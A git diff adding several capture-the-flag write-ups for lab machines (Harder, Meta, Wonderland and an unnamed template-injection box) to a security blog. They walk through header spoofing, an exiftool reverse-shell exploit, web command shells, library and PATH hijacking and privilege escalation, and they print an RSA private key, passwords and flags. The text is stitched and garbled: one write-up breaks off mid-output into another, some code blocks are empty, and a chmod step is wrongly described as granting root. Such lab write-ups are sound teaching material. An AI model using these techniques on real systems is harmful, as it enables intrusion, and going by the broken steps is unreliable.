+++ b/content/writeup-ctf/writeup-harder-thm/img/image-7.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:7bfedbaa51f6e75b2cf56029e65017aeeb46b2deb3a0bdccb647164e83b773ee +size 29828 diff --git a/content/writeup-ctf/writeup-harder-thm/img/image-8.png b/content/writeup-ctf/writeup-harder-thm/img/image-8.png new file mode 100644 index 0000000..0e5d98b --- /dev/null +++ b/content/writeup-ctf/writeup-harder-thm/img/image-8.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:ce4759616d5c84c85b2b7f764370ef0190d0b087181686025ca541b1f997bd9f +size 13236 diff --git a/content/writeup-ctf/writeup-harder-thm/img/image-8.webp b/content/writeup-ctf/writeup-harder-thm/img/image-8.webp new file mode 100644 index 0000000..6d6c27d --- /dev/null +++ b/content/writeup-ctf/writeup-harder-thm/img/image-8.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b5d8c66a32f9d50eba3a981b8b04963e577ed46735da689940db5c475db7d172 +size 11020 diff --git a/content/writeup-ctf/writeup-harder-thm/img/image-9.png b/content/writeup-ctf/writeup-harder-thm/img/image-9.png new file mode 100644 index 0000000..791836f --- /dev/null +++ b/content/writeup-ctf/writeup-harder-thm/img/image-9.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:bc1347b1dc77aa83bcef771c7b0a575f51fad23a527a78906b437bd5196a7cf6 +size 7764 diff --git a/content/writeup-ctf/writeup-harder-thm/img/image-9.webp b/content/writeup-ctf/writeup-harder-thm/img/image-9.webp new file mode 100644 index 0000000..73724fe --- /dev/null +++ b/content/writeup-ctf/writeup-harder-thm/img/image-9.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:42cd84dbd3d963b90c98a72a5bde2f6abaf62a8348ef4a47e6cd7d4e65213741 +size 6016 diff --git a/content/writeup-ctf/writeup-harder-thm/index.md b/content/writeup-ctf/writeup-harder-thm/index.md new file mode 100644 index 0000000..bdb23a2 --- /dev/null +++ b/content/writeup-ctf/writeup-harder-thm/index.md @@ -0,0 +1,217 @@ +--- +title: "Writeup - Harder (THM)" +date: 2022-04-28 +slug: "writeup-harder-thm" +type: "writeup-ctf" +--- + +This is a writeup for the [Harder](https://tryhackme.com/room/harder) machine from the TryHackMe site. + +## Enumeration + +First, let's start with a scan of our target with the following command: + + +```bash +nmap -sV -T4 -Pn 10.10.199.197 +``` +Two TCP ports are discovered: + + + +- 22/tcp : SSH port (OpenSSH 8.3) +- 80/tcp : HTTP web server (nginx 1.18.0) + +## Exploit + +At first I start by scanning the files on the site. + + + +I can't find anything in particular, so I make a query with `curl` to see if I find something interesting in the Header. + + + +I find that there is a subdomain: `pwd.harder.local`. When I go to the page I find the following login form: + + + +After a few tries with the classic passwords, I find that it is possible to connect with `admin/admin`. Then I get a page with the following message: + + +```bash +extra security in place. our source code will be reviewed soon ... +``` +I scan the subdomain to see if it has anything interesting: + + + +There is clearly a Git project folder, so I will download it locally to study it. To do this I use [gitTools](https://github.com/internetwache/GitTools): + + + +At first I look at the list of commits, there are 3 of them. + + + +The second one is pretty interesting. So I look at the differences. While analyzing the code, I come across the following part: + + +```bash ++ +``` +We learn that it is necessary to have the parameters `h`, `host` et `n`. After some research on the function `hash_hmac`, I found on this [site](https://www.securify.nl/blog/spot-the-bug-challenge-2018-warm-up/) that it is possible to generate a hash ourselves and to use it for the authentication to the page. To do this I first generate a hash with the following commands: + + +```bash +┌──(d3vyce㉿kali)-[~/Documents/tmp/.git] +└─$ php -a +Interactive shell + +php > $secret = hash_hmac('sha256', $_GET['n'], $secret); +PHP Warning: Undefined array key "n" in php shell code on line 1 +PHP Warning: Undefined variable $secret in php shell code on line 1 +php > $secret = hash_hmac('sha256', "d3vyce.fr", false); +php > echo $secret; +d0455abc97030b6f667f0f090493beca091e92c1e8c0e04ae09541afb26380c8 +``` +Can I create the following link: + + +```bash +http://pwd.harder.local/?n[]=1&h=d0455abc97030b6f667f0f090493beca091e92c1e8c0e04ae09541afb26380c8&host=d3vyce.fr +``` +I came across a page with the following content: + + + +So I add this new subdomain to the `/etc/hosts` file, then I go to the page. I get the following message: + + +```bash +Your IP is not allowed to use this webservice. Only 10.10.10.x is allowed +``` +To access the page anyway, I add an `X-Forwarded-For` field to my request. + + +```bash +GET /index.php HTTP/1.1 +Host: shell.harder.local +Cache-Control: max-age=0 +Upgrade-Insecure-Requests: 1 +X-Forwarded-For: 10.10.10.240 +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 +Accept-Encoding: gzip, deflate +Accept-Language: en-US,en;q=0.9 +Cookie: PHPSESSID=eb15g7jblveoceue5ekdjooiqj +Connection: close +``` +I finish on the following page: + + + +It is a page that allows to execute commands, after some commands, I look for files related to the user on which the site is executed: `evs`. + + + +I find a script `evs-backup.sh` which has the following content: + + +```bash +#!/bin/ash + +# ToDo: create a backup script, that saves the /www directory to our internal server +# for authentication use ssh with user "evs" and password "U6j1brxGqbsUA$pMuIodnb$SZB4$bw14" +``` +So now I can connect to the user via SSH and get the first flag. + + + +## Privilege escalation + +I start by running the [linpeas.sh](https://linpeas.sh) script to get an overview of the machine. I find the following files: + + + +Looking at the content of the script, I understand that it is used to execute scripts encrypted with gpg, knowing that we have the public key of the root user, it should be possible to create a script, sign it with the root key, then execute it as root! + + +```bash +#!/bin/sh + +if [ $# -eq 0 ] + then + echo -n "[*] Current User: "; + whoami; + echo "[-] This program runs only commands which are encypted for root@harder.local using gpg." + echo "[-] Create a file like this: echo -n whoami > command" + echo "[-] Encrypt the file and run the command: execute-crypted command.gpg" + else + export GNUPGHOME=/root/.gnupg/ + gpg --decrypt --no-verbose "$1" | ash +fi +``` +I start by importing the key with the following command: + + + +Then I check that it is well imported with the following command: + + +```bash +harder:~$ gpg --list-key +/home/evs/.gnupg/pubring.kbx +---------------------------- +pub ed25519 2020-07-07 [SC] + 6F99621E4D64B6AFCE56E864C91D6615944F6874 +uid [ unknown] Administrator7777777 +
+``` +After retrieving the result file we find the answer `7777777`. The XSS is therefore possible and the framework has a great chance to be Jinja2! I go to the following [github](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinja2) to see the possibilities. + +I first try to send the following image: + + + + +```bash +┌──(d3vyce㉿kali)-[~/Downloads] +└─$ cat results.txt +uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc) + +
+``` +In the result file I find the expected result, the web application is executed as `svc_acc`. I now try to see if this user has an RSA key that would allow me to connect via SSH: + + + + +```bash +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEAqe5XWFKVqleCyfzPo4HsfRR8uF/P/3Tn+fiAUHhnGvBBAyrM +HiP3S/DnqdIH2uqTXdPk4eGdXynzMnFRzbYb+cBa+R8T/nTa3PSuR9tkiqhXTaEO +bgjRSynr2NuDWPQhX8OmhAKdJhZfErZUcbxiuncrKnoClZLQ6ZZDaNTtTUwpUaMi +/mtaHzLID1KTl+dUFsLQYmdRUA639xkz1YvDF5ObIDoeHgOU7rZV4TqA6s6gI7W7 +d137M3Oi2WTWRBzcWTAMwfSJ2cEttvS/AnE/B2Eelj1shYUZuPyIoLhSMicGnhB7 +7IKpZeQ+MgksRcHJ5fJ2hvTu/T3yL9tggf9DsQIDAQABAoIBAHCBinbBhrGW6tLM +fLSmimptq/1uAgoB3qxTaLDeZnUhaAmuxiGWcl5nCxoWInlAIX1XkwwyEb01yvw0 +ppJp5a+/OPwDJXus5lKv9MtCaBidR9/vp9wWHmuDP9D91MKKL6Z1pMN175GN8jgz +W0lKDpuh1oRy708UOxjMEalQgCRSGkJYDpM4pJkk/c7aHYw6GQKhoN1en/7I50IZ +uFB4CzS1bgAglNb7Y1bCJ913F5oWs0dvN5ezQ28gy92pGfNIJrk3cxO33SD9CCwC +T9KJxoUhuoCuMs00PxtJMymaHvOkDYSXOyHHHPSlIJl2ZezXZMFswHhnWGuNe9IH +Ql49ezkCgYEA0OTVbOT/EivAuu+QPaLvC0N8GEtn7uOPu9j1HjAvuOhom6K4troi +WEBJ3pvIsrUlLd9J3cY7ciRxnbanN/Qt9rHDu9Mc+W5DQAQGPWFxk4bM7Zxnb7Ng +Hr4+hcK+SYNn5fCX5qjmzE6c/5+sbQ20jhl20kxVT26MvoAB9+I1ku8CgYEA0EA7 +t4UB/PaoU0+kz1dNDEyNamSe5mXh/Hc/mX9cj5cQFABN9lBTcmfZ5R6I0ifXpZuq +0xEKNYA3HS5qvOI3dHj6O4JZBDUzCgZFmlI5fslxLtl57WnlwSCGHLdP/knKxHIE +uJBIk0KSZBeT8F7IfUukZjCYO0y4HtDP3DUqE18CgYBgI5EeRt4lrMFMx4io9V3y +3yIzxDCXP2AdYiKdvCuafEv4pRFB97RqzVux+hyKMthjnkpOqTcetysbHL8k/1pQ +GUwuG2FQYrDMu41rnnc5IGccTElGnVV1kLURtqkBCFs+9lXSsJVYHi4fb4tZvV8F +ry6CZuM0ZXqdCijdvtxNPQKBgQC7F1oPEAGvP/INltncJPRlfkj2MpvHJfUXGhMb +Vh7UKcUaEwP3rEar270YaIxHMeA9OlMH+KERW7UoFFF0jE+B5kX5PKu4agsGkIfr +kr9wto1mp58wuhjdntid59qH+8edIUo4ffeVxRM7tSsFokHAvzpdTH8Xl1864CI+ +Fc1NRQKBgQDNiTT446GIijU7XiJEwhOec2m4ykdnrSVb45Y6HKD9VS6vGeOF1oAL +K6+2ZlpmytN3RiR9UDJ4kjMjhJAiC7RBetZOor6CBKg20XA1oXS7o1eOdyc/jSk0 +kxruFUgLHh7nEx/5/0r8gmcoCvFn98wvUPSNrgDJ25mnwYI0zzDrEw== +-----END RSA PRIVATE KEY----- +``` +Now that I have the RSA key in my possession, I can connect in SSH and get the first flag : + + + +## Privilege escalation + +To start I run the [linpeas.sh](https://linpeas.sh) script to get an idea of what is present on the machine. Quickly I find a script `ssh-alert.sh` which is a script belonging to my user, but which is executed by root. + + + +I look at its contents and find that it is a script that generates an alert by mail for each session opened via SSH. + + + +Knowing that I can modify it, I add the following line at the end of the file. + + +```bash +echo "chmod o+x /bin/bash" >> ssh-alert.sh +``` +This allows to add to the file a `euid = 0`, which will allow me to execute the script as root. This is the same principle that is used with the su command. I quit the ssh session, I restart it, then I create a bash session with the following command : + + + +I am now root of the machine and I can recover the last flag. + + +```bash +bash-4.4# cat /root/root.txt +0abb3c1b4d046ab54e80851cf85c6448 +``` +## Recommendations + +To patch this host I think it would be necessary to perform a number of actions: + +- Update the image converter to avoid XSS +- Launch web applications with a user with minimum rights and no RSA key +- Do not let a user-modifiable script be executed by root diff --git a/content/writeup-ctf/writeup-meta-htb/featured.png b/content/writeup-ctf/writeup-meta-htb/featured.png new file mode 100644 index 0000000..2fa0036 --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/featured.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d9b123f854cdaf0913e5181bec013df3118a41e734675bfb5c01049f44a24ff0 +size 335341 diff --git a/content/writeup-ctf/writeup-meta-htb/featured.webp b/content/writeup-ctf/writeup-meta-htb/featured.webp new file mode 100644 index 0000000..2a955ac --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/featured.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5254672588d76561ea4bc601be5938911792e346ea958fae212fc5202e3eab66 +size 26222 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-1.png b/content/writeup-ctf/writeup-meta-htb/img/image-1.png new file mode 100644 index 0000000..eea9699 --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-1.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b7b5c689e473d8fbe5f38d56569bcc4ca6a0954cd219818717b3305fce1ff46a +size 34361 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-1.webp b/content/writeup-ctf/writeup-meta-htb/img/image-1.webp new file mode 100644 index 0000000..fca9deb --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-1.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:853ef003a811f2876b9c617786e32d66321b9421968b4b0ad84afef84d28ea8e +size 30872 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-10.png b/content/writeup-ctf/writeup-meta-htb/img/image-10.png new file mode 100644 index 0000000..19611b7 --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-10.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:fcad2520cf7701c87fb90128edd4eaf113223d4d05af145529a1a0da1ac4e590 +size 16811 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-10.webp b/content/writeup-ctf/writeup-meta-htb/img/image-10.webp new file mode 100644 index 0000000..164910b --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-10.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:783ed4fc9ecc737bde285df0a148d0d079b63946b5f2d2a81f896e712e61757e +size 21830 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-11.png b/content/writeup-ctf/writeup-meta-htb/img/image-11.png new file mode 100644 index 0000000..64b49b2 --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-11.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:705f86e611afda24e6edf49fb3da1cc21c397f01cab01a0f6d8e420a98c7c644 +size 46894 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-11.webp b/content/writeup-ctf/writeup-meta-htb/img/image-11.webp new file mode 100644 index 0000000..bd51874 --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-11.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:6707d853dc7c153fac5707f0ab21f18576648cd44181e81e318b02a1c8d4c55b +size 50798 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-12.png b/content/writeup-ctf/writeup-meta-htb/img/image-12.png new file mode 100644 index 0000000..96ace65 --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-12.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:86b1a5da73f2997b4e3c8096bc1c5dd8a64cda3b11d8db942e39caa07ef87b8d +size 17079 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-12.webp b/content/writeup-ctf/writeup-meta-htb/img/image-12.webp new file mode 100644 index 0000000..b581b34 --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-12.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:71ac0c4b822e72f5d4565ad40fd869c461aa8adb6dab99f36109337f3a698bce +size 16432 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-13.png b/content/writeup-ctf/writeup-meta-htb/img/image-13.png new file mode 100644 index 0000000..54b2cef --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-13.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:fd3f8a6b78074a7773eb4a39ab6fc755b0a1f2ad87e46f34312983c540ad456a +size 17702 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-13.webp b/content/writeup-ctf/writeup-meta-htb/img/image-13.webp new file mode 100644 index 0000000..bf1f3fb --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-13.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:2a9d91af638f535f4a8ab5aa73669eb257b73b01f87d36e3ce10b94c83b18db4 +size 18794 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-2.png b/content/writeup-ctf/writeup-meta-htb/img/image-2.png new file mode 100644 index 0000000..b9aee5b --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-2.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b623aedcb82404216cce2e83666511da3160eef05e8128cd9cabc42b6d37200c +size 426544 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-2.webp b/content/writeup-ctf/writeup-meta-htb/img/image-2.webp new file mode 100644 index 0000000..075f3a6 --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-2.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:aab7ba3a46c9729e0926da84663aba1cbb3f75a00c54d1c1fbaae48f1fb8771d +size 62666 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-3.png b/content/writeup-ctf/writeup-meta-htb/img/image-3.png new file mode 100644 index 0000000..53e5c94 --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-3.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5615e9cb916408f940b04b704342441c9cb0220e835205b8f3c65d55026ee18e +size 59451 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-3.webp b/content/writeup-ctf/writeup-meta-htb/img/image-3.webp new file mode 100644 index 0000000..a233aa4 --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-3.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e7d86013fd1e3395af6eccc367c1d70528930db41846e188a84975b954e18aa8 +size 48820 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-4.png b/content/writeup-ctf/writeup-meta-htb/img/image-4.png new file mode 100644 index 0000000..3331bca --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-4.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:6d11fcec8942c33e8a5b8ae8c50009c00c14e92a7e35838c316f071fdd1eb4e8 +size 45576 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-4.webp b/content/writeup-ctf/writeup-meta-htb/img/image-4.webp new file mode 100644 index 0000000..cb09238 --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-4.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:2269965ced9ff05d0ae6dc5c19698def5731f750f31021a09a88bb0c8e90cc19 +size 41664 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-5.png b/content/writeup-ctf/writeup-meta-htb/img/image-5.png new file mode 100644 index 0000000..c8a56ac --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-5.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d775632d712642a82e51af075dccae2ba560077bcfb398dd818ed63bcc987baa +size 13111 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-5.webp b/content/writeup-ctf/writeup-meta-htb/img/image-5.webp new file mode 100644 index 0000000..374da45 --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-5.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5beacab68bc524723e60a73148fcbcd7db35ad50107351ff9a0ef2d577a74432 +size 10042 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-6.png b/content/writeup-ctf/writeup-meta-htb/img/image-6.png new file mode 100644 index 0000000..532949d --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-6.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e2a56052b6bc7580a6452888fcbfbfabceebf4dce90482be765b1450a3daffc2 +size 12623 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-6.webp b/content/writeup-ctf/writeup-meta-htb/img/image-6.webp new file mode 100644 index 0000000..22dab5e --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-6.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:c42d578f4c3dacae10bb1184e35b6879fca2b63b59edf8664819f54277b86b35 +size 6198 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-7.png b/content/writeup-ctf/writeup-meta-htb/img/image-7.png new file mode 100644 index 0000000..c383595 --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-7.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3022af18d3cd2b16ff1a9dd18952e9a6006777aa56eca1d62e70a266bb2b9ed4 +size 39980 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-7.webp b/content/writeup-ctf/writeup-meta-htb/img/image-7.webp new file mode 100644 index 0000000..dfdacd5 --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-7.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:9fa7725ee1232e07d7ff01d311cb3ae9e0f91641490a218b702fa3333ce5190f +size 21094 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-8.png b/content/writeup-ctf/writeup-meta-htb/img/image-8.png new file mode 100644 index 0000000..df3d535 --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-8.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:4d9fbb1ed77c5ed6c273f00d51cf1b4160783117bda2f965e23b70f84d422b89 +size 61515 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-8.webp b/content/writeup-ctf/writeup-meta-htb/img/image-8.webp new file mode 100644 index 0000000..9d0537d --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-8.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:8db35e3f99601f628450db664ec996186162a3370b1e2670a3aaf6dd7ecc1222 +size 53324 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-9.png b/content/writeup-ctf/writeup-meta-htb/img/image-9.png new file mode 100644 index 0000000..da3d308 --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-9.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:a64857ed6a921ae8e02c7283a17bc0ea56698e2cfe8d0299ebf5aa594e93f5c6 +size 13912 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-9.webp b/content/writeup-ctf/writeup-meta-htb/img/image-9.webp new file mode 100644 index 0000000..db5a4b8 --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-9.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:62a8120a76a71d8537ebcb7b1bf2d6202147e44312c3b98e88787e3da95a620d +size 13348 diff --git a/content/writeup-ctf/writeup-meta-htb/index.md b/content/writeup-ctf/writeup-meta-htb/index.md new file mode 100644 index 0000000..a181034 --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/index.md @@ -0,0 +1,153 @@ +--- +title: "Writeup - Meta (HTB)" +date: 2022-04-03 +slug: "writeup-meta-htb" +type: "writeup-ctf" +--- + +This is a writeup for the [Meta](https://app.hackthebox.com/machines/Meta) machine from the HackTheBox site. + +## Enumeration + +First, let's start with a scan of our target with the following command: + + +```bash +nmap -sV -T4 -Pn 10.129.119.94 +``` +Two TCP ports are discovered: + + + +- 22/tcp : SSH port (OpenSSH 7.9p1) +- 80/tcp : HTTP web server (Apache httpd) + + + +## Exploit + +At first I order by listing the different pages of the site. + + + +Nothing in particular, I continue by making an enumeration of the subdomains. + + + +Ok, there is a subdomain, I add it to the `/etc/hosts` file, then I access it via a browser. + + + +It is a page that redirects us to another page that contains a form to upload a file. + + + +So I try to upload an image to see what the page tells me: + + + +The result reminds me strongly of a crypto tool I already used: `exiftool`. + + + +So I know that on the server side, this tool is used, it's a good information ! So I look if there are exploits with this service. Quickly I find this flaw : CVE-2021-22204. It is an exploit that allows via meta data in an image the execution of instructions. So we can create a reverse shell ! With a little more research I find this [github](https://github.com/convisolabs/CVE-2021-22204-exiftool). + +It is a tool for image modification and reverse shell insertion. + + +```bash +┌──(d3vyce㉿kali)-[~] +└─$ python3 exploit.py + 1 image files updated +``` +Once the image is modified, I upload it and it creates the reverse shell: + + + +I look for the location of the flag with the following command: + + +```bash +find / -name user.txt 2>/dev/null +``` +I find that the flag is in `thomas` personal file, but I don't have the rights to read it... + +So I am looking for a way to change the user. In the site folder, I find a folder `convert_image`... It is said to be an input folder for a script or a service that would convert images. I am looking for other elements with the same name on the system: + + +```bash +www-data@meta:/var/www/dev01.artcorp.htb/convert_images$ find / -name convert_image* 2>/dev/null +Open the door and enter wonderland
+"Oh, you’re sure to do that," said the Cat, "if you only walk long enough."
+Alice felt that this could not be denied, so she tried another question. "What sort of people live about here?" +
+"In that direction,"" the Cat said, waving its right paw round, "lives a Hatter: and in that direction," waving + the other paw, "lives a March Hare. Visit either you like: they’re both mad."
+ +
+
+```
+So I try to connect via SSH :
+
+
+
+I now have a shell and can retrieve the first flag.
+
+
+```bash
+alice@wonderland:~$ cat /root/user.txt
+thm{"Curiouser and curiouser!"}
+```
+## Privilege escalation
+
+Looking at the contents of the `home` folder, I find several users:
+
+
+```bash
+alice@wonderland:/home$ ls
+alice hatter rabbit tryhackme
+```
+I am now looking at my sudo permissions:
+
+
+
+So I can run this python script with the `rabbit` user's permissions. So I look at the content of this script:
+
+
+```bash
+import random
+poem = """The sun was shining on the sea,
+Shining with all his might:
+He did his very best to make
+The billows smooth and bright —
+And this was odd, because it was
+[...]
+And that was scarcely odd, because
+They’d eaten every one."""
+
+for i in range(10):
+ line = random.choice(poem.split("\n"))
+ print("The line was:\t", line)
+```
+I run it to make sure I've got it right.
+
+
+
+So it's a script that allows to output 10 random sentences from the text included in the script. Interestingly, the script uses `random`. So I create a `random.py` file in the same folder in which I insert a reverse shell. When the script is executed, it should use our file! So I create this new file with the following content :
+
+
+```bash
+import pty
+pty.spawn("/bin/bash")
+```
+I now run the script with the following command:
+
+
+
+In the folder of this new user, we find the file `teaParty`. Using the `strings` command, I can find the following readable text:
+
+
+```bash
+[...]
+Welcome to the tea party!
+The Mad Hatter will be here soon./bin/echo -n 'Probably by ' && date --date='next hour' -RAsk very nicely, and I will give you some tea while you wait for him
+[...]
+```
+The program uses the `date` command, but interestingly, the program doesn't use an absolute path. So I'll be able to create a script with the same name, and then add the folder that contains this new script to the `$PATH` variable.
+
+I start by creating the script with the following content:
+
+
+```bash
+#!/bin/bash
+/bin/bash
+```
+Then I add the execution permissions and I add my personal folder at the beginning of the `PATH` variable.
+
+
+```bash
+chmod +x date
+export PATH=/home/rabbit:$PATH
+```
+I can now run the program :
+
+
+
+In the personal folder of this new user I find the following file:
+
+
+```bash
+hatter@wonderland:/home/hatter$ ls
+password.txt
+hatter@wonderland:/home/hatter$ cat password.txt
+WhyIsARavenLikeAWritingDesk?
+```
+So I try to connect via SSH with this password:
+
+
+
+After some research to do a privilege elevation I find nothing. So I try to run linpeas.sh. By analyzing the output of the command I find the following lines:
+
+
+
+By going on the [GTFObins de Perl](https://gtfobins.github.io/gtfobins/perl/#capabilities) I find a way to make a privilege elevation.
+
+Using the following command, I get a root shell and I can get the last flag.
+
+
+
+## Recommendations
+
+To patch this host I think it would be necessary to perform a number of actions:
+
+- Do not leave passwords in HTML code
+- Use absolute paths in programs
+- Do not leave clear passwords in files
+- Modify Perl permissions to avoid elevation of privilege.